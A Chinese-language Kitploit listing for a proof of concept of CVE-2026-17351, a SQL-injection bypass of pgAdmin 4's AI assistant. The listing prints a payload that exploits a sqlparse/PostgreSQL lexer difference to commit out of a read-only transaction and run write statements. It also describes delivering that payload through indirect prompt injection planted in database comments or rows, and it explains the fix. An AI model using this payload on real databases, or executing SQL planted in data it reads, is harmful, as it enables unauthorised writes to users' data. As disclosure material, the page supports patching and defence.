Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
pgadmin-ai-assistant-sql-injection-cve-2026-17351-lexer-differential-bypass — 概念验证(PoC),演示通过 sqlparse/PostgreSQL 词法分析器差异在 pgAdmin 4 的 AI 助手中实现 CVE-2026-17351 SQL 注入绕过,并包含间接提示注入的投递。 | Kitploit
工具/GitHubGitHub/hunt-benito/pgadmin-ai-assistant-sql-injection-cve-2026-17351-lexer-differential-bypass
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育AI 安全数据库安全
GitHubhunt-benito/pgadmin-ai-assistant-sql-injection-cve-2026-17351-lexer-differential-bypass

pgadmin-ai-assistant-sql-injection-cve-2026-17351-lexer-differential-bypass

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →

概念验证(PoC),演示通过 sqlparse/PostgreSQL 词法分析器差异在 pgAdmin 4 的 AI 助手中实现 CVE-2026-17351 SQL 注入绕过,并包含间接提示注入的投递。

查看仓库
51个月前尚未审核
分享

CVE-2026-17351 — 利用词法分析器差异绕过 pgAdmin 4 AI 助手的只读限制

针对 CVE-2026-17351 的 PoC,这是 pgAdmin 4 AI 助手中的一个严重(CVSS 9.0)SQL 注入绕过漏洞。

漏洞摘要

pgAdmin 4 9.13 至 9.16 版本使用 Python 的 sqlparse 库来验证 LLM 生成的 SQL 查询是否为单一且只读的语句。在 PostgreSQL 的 standard_conforming_strings = on(自 PostgreSQL 9.1 起的默认设置)下,sqlparse 与 PostgreSQL 对字符串字面量中反斜杠的处理方式存在分歧。这使得攻击者能够构造一个载荷,使其作为单个 SELECT 通过 sqlparse 的验证,但在 PostgreSQL 中却作为四条语句执行——其中包括一条结束只读事务的 COMMIT 以及后续的写语句。

载荷

root@kitploit:~
SELECT '\';COMMIT;CREATE TABLE pwn(x int);SELECT 1 --'
  • sqlparse 将其视为一个带有大型字符串字面量的 SELECT → 验证通过
  • PostgreSQL 将其视为:SELECT '\' + COMMIT + CREATE TABLE pwn(x int) + SELECT 1 --'
  • 投递方式

    该载荷通过间接提示注入进行投递:攻击者将其植入 AI 助手会读取的数据库对象(列注释、行值、视图定义)中。当合法用户提问时,LLM 会读取被投毒的数据,并将其作为 execute_sql_query 工具调用输出。

    文件

    文件描述
    poc.py演示词法分析器差异:sqlparse 验证通过,简单查询协议会执行多条语句,扩展查询协议则会阻止
    prompt_injection_demo.py模拟完整攻击链:载荷作为列注释植入 → 模拟 LLM 读取 → 验证通过 → 执行

    环境要求

    root@kitploit:~
    pip install psycopg[binary] sqlparse
    

    你还需要一个正在运行的 PostgreSQL 实例(14 及以上):

    root@kitploit:~
    docker run -d --name pg-poc \
        -e POSTGRES_PASSWORD=secret \
        -e POSTGRES_DB=testdb \
        -p 5433:5432 \
        postgres:18
    

    使用方法

    root@kitploit:~
    # Main PoC — lexer differential demonstration
    python3 poc.py
    
    # Prompt injection delivery demo
    python3 prompt_injection_demo.py
    
    # Custom connection parameters
    python3 poc.py --host 10.0.0.5 --port 5432 --user postgres --password mypw
    

    修复方案(pgAdmin 9.17)

    该修复通过以下方式强制使用 psycopg3 的扩展查询协议:

    1. 在 LLM 的专用连接上设置 conn.prepare_threshold = 0
    2. 向 cursor.execute() 传递 prepare=True

    这使得 PostgreSQL 自身的 Parse 步骤成为语句边界的权威——无论任何客户端词法分析器如何分类,它都会从结构上拒绝多语句文本。

    参考资料

    • CVE:https://nvd.nist.gov/vuln/detail/CVE-2026-17351
    • GitHub Issue:https://github.com/pgadmin-org/pgadmin4/issues/10192
    • 修复提交:https://github.com/pgadmin-org/pgadmin4/commit/ef76102bcd1cdb544eb9b4ef18d3382f22b76752
    • 原始 CVE(CVE-2026-12045):https://nvd.nist.gov/vuln/detail/CVE-2026-12045
    • 报告者:Kai Aizen (SnailSploit)

    免责声明

    此 PoC 仅用于教育和授权测试目的。

    下载工具